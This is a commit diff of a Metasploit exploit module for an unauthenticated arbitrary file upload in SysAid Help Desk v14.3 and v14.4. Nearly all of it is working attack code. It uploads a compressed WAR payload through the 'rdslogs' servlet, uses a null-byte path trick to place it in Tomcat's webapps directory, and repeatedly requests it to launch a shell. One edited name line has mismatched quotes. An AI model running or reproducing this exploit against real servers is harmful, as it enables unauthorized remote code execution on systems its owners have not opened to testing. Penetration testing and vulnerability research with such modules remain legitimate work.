@@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
14
14
15
15
def initialize ( info = { } )
16
16
super ( update_info ( info ,
17
- 'Name' => 'SysAid Help Desk rdslogs Arbitrary File Upload' ,
17
+ 'Name' => 'SysAid Help Desk ' rdslogs ' Arbitrary File Upload',
18
18
'Description' => %q{
19
19
This module exploits a file upload vulnerability in SysAid Help Desk v14.3 and v14.4.
20
20
The vulnerability exists in the RdsLogsEntry servlet which accepts unauthenticated
@@ -62,14 +62,16 @@ def initialize(info = {})
62
62
def check
63
63
servlet_path = 'rdslogs'
64
64
bogus_file = rand_text_alphanumeric ( 4 + rand ( 32 - 4 ) )
65
+
65
66
res = send_request_cgi ( {
66
67
'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , servlet_path ) ,
67
68
'method' => 'POST' ,
68
69
'vars_get' => {
69
70
'rdsName' => bogus_file
70
71
}
71
72
} )
72
- if res and res . code == 200
73
+
74
+ if res && res . code == 200
73
75
return Exploit ::CheckCode ::Detected
74
76
end
75
77
end
@@ -103,24 +105,31 @@ def exploit
103
105
'data' => Zlib ::Deflate . deflate ( war_payload ) ,
104
106
'ctype' => 'application/octet-stream' ,
105
107
'vars_get' => {
106
- 'rdsName' => tomcat_path + app_base + " .war" + " \x00 "
108
+ 'rdsName' => " #{ tomcat_path } /tomcat/webapps/ #{ app_base } .war\x00 "
107
109
}
108
110
} )
109
111
110
112
# The server either returns a 200 OK when the upload is successful.
111
- if res and ( res . code == 200 )
112
- print_status ( "#{ peer } - Upload appears to have been successful, waiting " + datastore [ 'SLEEP' ] . to_s +
113
- " seconds for deployment" )
114
- register_files_for_cleanup ( "webapps/" + app_base + ".war" )
115
- sleep ( datastore [ 'SLEEP' ] )
113
+ if res && res . code == 200
114
+ print_status ( "#{ peer } - Upload appears to have been successful, waiting #{ datastore [ 'SLEEP' ] } seconds for deployment" )
115
+ register_files_for_cleanup ( "tomcat/webapps/#{ app_base } .war" )
116
116
else
117
- fail_with ( Exploit :: Failure ::Unknown , "#{ peer } - WAR upload failed" )
117
+ fail_with ( Failure ::Unknown , "#{ peer } - WAR upload failed" )
118
118
end
119
119
120
- print_status ( "#{ peer } - Executing payload, wait for session..." )
121
- send_request_cgi ( {
122
- 'uri' => normalize_uri ( app_base , Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 ) ) ,
123
- 'method' => 'GET'
124
- } )
120
+ 10 . times do
121
+ select ( nil , nil , nil , 2 )
122
+
123
+ # Now make a request to trigger the newly deployed war
124
+ print_status ( "#{ peer } - Attempting to launch payload in deployed WAR..." )
125
+ res = send_request_cgi ( {
126
+ 'uri' => normalize_uri ( app_base , Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 ) ) ,
127
+ 'method' => 'GET'
128
+ } )
129
+ # Failure. The request timed out or the server went away.
130
+ break if res . nil?
131
+ # Success! Triggered the payload, should have a shell incoming
132
+ break if res . code == 200
133
+ end
125
134
end
126
135
end
0 commit comments